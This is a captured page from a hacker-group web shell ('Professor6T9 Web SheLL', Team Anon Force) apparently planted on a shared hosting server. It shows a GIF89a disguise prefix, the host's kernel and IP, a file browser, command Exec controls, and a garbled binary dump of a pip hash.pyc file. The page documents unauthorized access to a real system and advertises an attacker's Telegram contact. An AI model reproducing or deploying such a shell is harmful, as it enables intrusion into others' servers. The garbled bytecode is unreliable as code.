GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux premium22.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
LiteSpeed
68.65.122.106
/
opt
/
alt
/
python311
/
lib
/
python3.11
/
site-packages
/
pip
/
_internal
/
commands
/
__pycache__
[ HOME ]
Exec
Submit
File Name : hash.cpython-311.pyc
� �Re� � �� � d dl Z d dlZd dlZd dlmZ d dlmZ d dlmZ d dl m Z mZ d dlm Z mZ d dlmZmZ ej e� � Z G d� d e� � Zd ededefd �ZdS )� N)�Values)�List)�Command)�ERROR�SUCCESS)� FAVORITE_HASH� STRONG_HASHES)�read_chunks�write_outputc �B � e Zd ZdZdZdZd d�Zdedee de fd �ZdS )�HashCommandz� Compute a hash of a local package archive. These can be used with --hash in a requirements file to do repeatable installs. z%prog [options] <file> ...T�returnNc �� � | j � dddt dt d� d� t � � � � �� � | j � d| j � � d S ) Nz-az--algorithm� algorithm�storez$The hash algorithm to use: one of {}z, )�dest�choices�action�default�helpr )�cmd_opts� add_optionr r �format�join�parser�insert_option_group)�selfs ��/builddir/build/BUILDROOT/alt-python311-pip-21.3.1-3.el8.x86_64/opt/alt/python311/lib/python3.11/site-packages/pip/_internal/commands/hash.py�add_optionszHashCommand.add_options sw � �� � � ����!��!�7�>�>�� � �-�(�(�� � !� � � � ��'�'��4�=�9�9�9�9�9� �options�argsc �� � |s+| j � t j � � t S |j }|D ]"}t d||t ||� � � � �#t S )Nz%s: --hash=%s:%s) r �print_usage�sys�stderrr r r � _hash_of_filer )r r! r"